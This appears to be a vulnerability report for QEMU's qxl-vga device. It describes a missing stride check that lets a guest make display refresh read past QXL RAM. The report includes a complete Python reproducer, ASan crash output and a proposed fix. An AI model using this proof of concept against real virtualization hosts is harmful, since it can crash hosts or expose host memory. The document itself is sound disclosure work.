hw/display/qxl: CREATE_PRIMARY accepts a too-small primary-surface stride and can make display refresh read past QXL RAM
I can trigger a host-side AddressSanitizer crash/OOB read in current QEMU master through the qxl-vga primary-surface creation path.
The issue is in qxl_create_guest_primary() / local QXL rendering. The guest controls QXLRam.create_surface, including width, height, format, stride, and mem. QEMU currently checks only that abs(stride) * height fits in vgamem_size and that the stride is 4-byte aligned:
uint32_t requested_height = le32_to_cpu(sc->height);
int requested_stride = le32_to_cpu(sc->stride);
if (requested_stride == INT32_MIN ||
abs(requested_stride) * (uint64_t)requested_height
> qxl->vgamem_size) {
qxl_set_guest_bug(qxl, "%s: requested primary larger than framebuffer"
" stride %d x height %" PRIu32 " > %" PRIu32,
__func__, requested_stride, requested_height,
qxl->vgamem_size);
return;
}
...
if ((surface.stride & 0x3) != 0) {
qxl_set_guest_bug(qxl, "primary surface stride = %d %% 4 != 0",
surface.stride);
return;
}Later, qxl_render_resize() derives bytes-per-pixel from the format, but no check requires abs(stride) >= width * bytes_per_pixel:
qxl->guest_primary.qxl_stride = sc->stride;
qxl->guest_primary.abs_stride = abs(sc->stride);
...
case SPICE_SURFACE_FMT_32_xRGB:
case SPICE_SURFACE_FMT_32_ARGB:
qxl->guest_primary.bytes_pp = 4;
qxl->guest_primary.bits_pp = 32;
break;Then qxl_render_update_area_unlocked() maps only abs_stride * height bytes and creates a display surface using the guest-controlled width and the too-small stride:
qxl->guest_primary.data = qxl_phys2virt(qxl,
qxl->guest_primary.surface.mem,
MEMSLOT_GROUP_GUEST,
qxl->guest_primary.abs_stride
* height);
...
surface = qemu_create_displaysurface_from(width,
height,
format,
qxl->guest_primary.abs_stride,
qxl->guest_primary.data);A guest can set a 64x16 32bpp primary surface with stride 4. The current validation accepts it because 4 * 16 == 64, but display refresh consumers read rows according to the surface width (64 * 4 == 256 bytes per row). In the reproducer below, surface.mem points to the last 64 bytes of the QXL RAM BAR so the first display refresh crosses the mapped RAM allocation and crashes under ASan in the VNC refresh path.
Environment
Reproduced on current master:
- QEMU commit:
8f1d3b586f1265023f75ea9c227c35d463321aef - QEMU version string:
QEMU emulator version 11.0.50 (v11.0.0-2352-g8f1d3b586f) - target:
x86_64-softmmu - machine used by reproducer:
q35 - device:
qxl-vga - display backend used to force the read: VNC
- ASan build:
../configure --target-list=x86_64-softmmu --enable-asan --disable-werror
Security boundary note
The reproducer uses qtest only for deterministic PCI configuration, PIO, memory writes into the device RAM BAR, and timer stepping. The affected path is the QXL PCI display device emulation exposed to a guest when qxl-vga is configured on a supported x86_64 virtualization machine such as q35 or pc.
The trigger is a guest-programmed QXL memslot and QXL_IO_CREATE_PRIMARY request with a guest-controlled QXLRam.create_surface.stride that is too small for the requested width and pixel format. VNC is used only as a display consumer to make QEMU read the guest-provided primary surface. qtest is not the vulnerable component; it is only a compact way to reproduce guest-accessible QXL device operations.
Related public discussion
I found older public QXL security work such as CVE-2021-4207, but that issue was a cursor race/integer-size mismatch in qxl_cursor() / qxl_unpack_chunks() and was reported against QEMU versions before 6.0.0. This report is a different current-master primary-surface stride validation issue in qxl_create_guest_primary() / qxl_render_update_area_unlocked().
Steps to reproduce
Build an ASan QEMU:
mkdir build
cd build
../configure --target-list=x86_64-softmmu --enable-asan --disable-werror
ninja -j$(nproc) qemu-system-x86_64
cd ..Save the following as repro_qxl_primary_short_stride_oob.py:
#!/usr/bin/env python3
# Reproducer for QXL primary-surface short-stride host OOB read.
# qtest is used only as a deterministic PCI/PIO/MMIO transport; VNC is used
# as a normal display consumer to force QEMU to read the malformed surface.
import os
import shlex
import socket
import struct
import subprocess
import sys
import threading
import time
QXL_RAM_SIZE = 64 * 1024 * 1024
QXL_RAM_HEADER_SIZE = 0x2000 # ALIGN(sizeof(QXLRam), 4096) with current spice qxl_dev.h
QXLRAM_MEM_SLOT_OFF = 5276
QXLRAM_CREATE_SURFACE_OFF = 5292
QXL_IO_MEMSLOT_ADD = 8
QXL_IO_CREATE_PRIMARY = 12
def pick_vnc_port() -> int:
for port in range(6500, 6900):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
try:
s.bind(('127.0.0.1', port))
return port
except OSError:
continue
raise RuntimeError('no free VNC port in test range')
def recvn(sock: socket.socket, n: int) -> bytes:
out = b''
while len(out) < n:
chunk = sock.recv(n - len(out))
if not chunk:
raise EOFError('short VNC read')
out += chunk
return out
def connect_vnc(port: int, proc: subprocess.Popen) -> socket.socket:
deadline = time.time() + 8.0
last = None
while time.time() < deadline:
if proc.poll() is not None:
raise RuntimeError(f'QEMU exited while waiting for VNC, rc={proc.returncode}')
try:
sock = socket.create_connection(('127.0.0.1', port), timeout=1.0)
break
except OSError as e:
last = e
time.sleep(0.05)
else:
raise RuntimeError(f'could not connect to VNC: {last}')
sock.settimeout(3.0)
proto = recvn(sock, 12)
if not proto.startswith(b'RFB '):
raise RuntimeError(f'unexpected VNC proto {proto!r}')
sock.sendall(proto)
nsec = recvn(sock, 1)[0]
sec_types = recvn(sock, nsec)
if 1 not in sec_types:
raise RuntimeError(f'VNC no-auth security type unavailable: {sec_types!r}')
sock.sendall(b'\x01')
if recvn(sock, 4) != b'\x00\x00\x00\x00':
raise RuntimeError('VNC auth failed')
sock.sendall(b'\x01') # ClientInit shared flag
hdr = recvn(sock, 24)
name_len = struct.unpack('>I', hdr[20:24])[0]
if name_len:
recvn(sock, name_len)
print('[*] VNC connected, initial size:', struct.unpack('>HH', hdr[:4]), flush=True)
return sock
def qtest(proc: subprocess.Popen, cmd: str, timeout: float = 5.0) -> str:
if proc.poll() is not None:
raise RuntimeError(f'QEMU exited before command {cmd!r}, rc={proc.returncode}')
assert proc.stdin is not None and proc.stdout is not None
proc.stdin.write(cmd + '\n')
proc.stdin.flush()
start = time.time()
while True:
if time.time() - start > timeout:
raise TimeoutError('timeout waiting for qtest response to ' + cmd)
line = proc.stdout.readline()
if line == '':
if proc.poll() is not None:
raise RuntimeError(f'QEMU exited while waiting after {cmd!r}, rc={proc.returncode}')
time.sleep(0.01)
continue
sys.stdout.write(line)
sys.stdout.flush()
if line.startswith('OK') or line.startswith('FAIL'):
return line.strip()
def qwrite(proc: subprocess.Popen, addr: int, data: bytes) -> None:
qtest(proc, f'write 0x{addr:x} 0x{len(data):x} 0x{data.hex()}')
def main() -> int:
vnc_port = int(os.environ.get('VNC_PORT', '0')) or pick_vnc_port()
vnc_display = vnc_port - 5900
if vnc_display < 0:
raise RuntimeError('VNC_PORT must be >= 5900')
qemu = os.environ.get('QEMU', './build/qemu-system-x86_64')
bios = os.environ.get('QEMU_BIOS', 'pc-bios')
qemu_args = [qemu]
if bios:
qemu_args += ['-L', bios]
qemu_args += [
'-display', 'none',
'-vnc', f'127.0.0.1:{vnc_display},password=off',
'-nodefaults',
'-machine', 'q35,accel=qtest',
'-m', '128M',
'-monitor', 'none',
'-serial', 'none',
'-device', 'qxl-vga,addr=02.0,debug=1,guestdebug=1',
'-trace', 'qxl_memslot_add_guest',
'-trace', 'qxl_create_guest_primary',
'-trace', 'qxl_create_guest_primary_rest',
'-trace', 'qxl_render_guest_primary_resized',
'-trace', 'qxl_render_blit',
'-trace', 'qxl_io_write',
'-qtest', 'stdio',
]
if os.environ.get('USE_DOCKER') in ('1', 'yes', 'true'):
repo = os.environ.get('REPO_ROOT', os.getcwd())
image = os.environ.get('DOCKER_IMAGE', 'qemu-asan-vnc-runner:22.04')
asan = os.environ.get('ASAN_OPTIONS', 'abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1')
inner = 'ASAN_OPTIONS=' + shlex.quote(asan) + ' ' + shlex.join(qemu_args)
cmdline = [
'docker', 'run', '-i', '--rm', '--network=host',
'-v', f'{repo}:/qemu', '-w', '/qemu', image, 'bash', '-lc', inner,
]
else:
cmdline = qemu_args
print('[*] VNC port:', vnc_port, flush=True)
print('[*] launching:', ' '.join(shlex.quote(x) for x in cmdline), flush=True)
env = os.environ.copy()
env.setdefault('ASAN_OPTIONS', 'abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1')
proc = subprocess.Popen(
cmdline,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
bufsize=1,
env=env,
)
def drain_stderr() -> None:
assert proc.stderr is not None
for line in proc.stderr:
sys.stderr.write(line)
sys.stderr.flush()
threading.Thread(target=drain_stderr, daemon=True).start()
vnc = None
try:
vnc = connect_vnc(vnc_port, proc)
# PCI 00:02.0 qxl-vga. Map RAM/VRAM/ROM/PIO BARs and enable IO+MEM.
ram_base = 0xe0000000
vram_base = 0xe4000000
rom_base = 0xe8000000
io_base = 0xc000
for cmd in [
'outl 0xcf8 0x80001010', f'outl 0xcfc 0x{ram_base:08x}',
'outl 0xcf8 0x80001014', f'outl 0xcfc 0x{vram_base:08x}',
'outl 0xcf8 0x80001018', f'outl 0xcfc 0x{rom_base:08x}',
'outl 0xcf8 0x8000101c', f'outl 0xcfc 0x{io_base | 1:08x}',
'outl 0xcf8 0x80001004', 'outw 0xcfc 0x0007',
'outl 0xcf8 0x80001010', 'inl 0xcfc',
'outl 0xcf8 0x8000101c', 'inl 0xcfc',
]:
qtest(proc, cmd)
ram_header = ram_base + QXL_RAM_SIZE - QXL_RAM_HEADER_SIZE
# Add QXL memslot 0 covering the RAM BAR. With the guest-added memslot
# path, QXLPHYSICAL offsets are slot-relative, so surface.mem below is
# just a slot-0 offset with slot id encoded in the top byte.
qwrite(proc, ram_header + QXLRAM_MEM_SLOT_OFF,
struct.pack('<QQ', ram_base, ram_base + QXL_RAM_SIZE))
qtest(proc, f'outb 0x{io_base + QXL_IO_MEMSLOT_ADD:x} 0x00')
# Malformed primary surface: 64x16 XRGB8888 but only a 4-byte stride.
# QEMU validates stride*height (64 bytes) against vgamem_size, then maps
# only that much at the end of qxl.vram. VNC later reads 64*4 bytes for
# each displayed line from a surface whose pixman stride is 4.
width, height, stride, fmt = 64, 16, 4, 32 # SPICE_SURFACE_FMT_32_xRGB
surface_mem = (0 << 56) | (QXL_RAM_SIZE - 64)
surface = struct.pack('<IIiIIIIIQ',
width, height, stride, fmt,
0, 1, 0, 0, surface_mem)
assert len(surface) == 40
qwrite(proc, ram_header + QXLRAM_CREATE_SURFACE_OFF, surface)
qtest(proc, f'outb 0x{io_base + QXL_IO_CREATE_PRIMARY:x} 0x00')
# Ask VNC for a full update and step timers. ASan usually aborts in
# vnc_refresh_server_surface()/memcmp().
time.sleep(0.2)
vnc.sendall(struct.pack('>BBHHHH', 3, 0, 0, 0, width, height))
for _ in range(50):
if proc.poll() is not None:
break
try:
qtest(proc, 'clock_step 10000000', timeout=2.0)
except (RuntimeError, TimeoutError):
break
time.sleep(0.05)
finally:
if vnc is not None:
try:
vnc.close()
except Exception:
pass
rc = proc.poll()
if rc is None:
proc.terminate()
try:
proc.wait(timeout=2.0)
except subprocess.TimeoutExpired:
proc.kill()
proc.wait()
rc = proc.returncode
print('[*] QEMU rc', rc, flush=True)
return 0
if __name__ == '__main__':
sys.exit(main())Run:
chmod +x repro_qxl_primary_short_stride_oob.py
ASAN_OPTIONS=abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1 ./repro_qxl_primary_short_stride_oob.pyASan output
qxl_create_guest_primary 0 64x16 mem=0x3ffffc0 32,0
qxl_create_guest_primary_rest 0 4,0,0
qxl_render_guest_primary_resized 64x16, stride 4, bpp 4, depth 32
==4075325==ERROR: AddressSanitizer: SEGV on unknown address 0x7f30d8600000 (pc 0x7f30e7d99b4e bp 0x7ffe4dd46560 sp 0x7ffe4dd45cd8 T0)
==4075325==The signal is caused by a READ memory access.
#2 0x7f30eaa94bc6 in __interceptor_memcmp ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:892
#3 0x7f30eaa94bc6 in __interceptor_memcmp ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:887
#4 0x5834341deda7 in vnc_refresh_server_surface ../../ui/vnc.c:3207
#5 0x5834341deda7 in vnc_refresh ../../ui/vnc.c:3252
#6 0x583434e53cb1 in dpy_refresh ../../ui/console.c:832
#7 0x583434e53cb1 in gui_update ../../ui/console.c:107
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x199b4e)The Spice server also prints a warning for the malformed primary surface, but QEMU's local renderer still accepts the state and exposes it to the display/VNC refresh path:
qemu-system-x86_64: warning: Spice: ../server/red-worker.cpp:415:dev_create_primary_surface: wrong primary surface creation request
qxl_render_guest_primary_resized 64x16, stride 4, bpp 4, depth 32Suggested fix
Reject primary surfaces whose stride cannot hold one displayed row for the selected format before creating the Spice/local-rendering primary surface. For example, after decoding the format to bytes-per-pixel:
uint64_t abs_stride;
uint64_t row_bytes;
if (surface.stride == INT32_MIN) {
return;
}
abs_stride = surface.stride < 0 ? -(int64_t)surface.stride : surface.stride;
row_bytes = (uint64_t)surface.width * bytes_per_pixel;
if (surface.height == 0 || row_bytes == 0 || abs_stride < row_bytes) {
qxl_set_guest_bug(qxl, "primary surface stride too small");
return;
}
if (abs_stride > (UINT64_MAX - row_bytes) / (surface.height - 1)) {
qxl_set_guest_bug(qxl, "primary surface size overflow");
return;
}
if (row_bytes + abs_stride * (surface.height - 1) > qxl->vgamem_size) {
qxl_set_guest_bug(qxl, "primary surface larger than framebuffer");
return;
}It would also be safer for qxl_render_update_area_unlocked() to request/map the exact last byte that display consumers may read, i.e. row_bytes + abs_stride * (height - 1), rather than abs_stride * height, and to avoid creating a DisplaySurface when these consistency checks fail.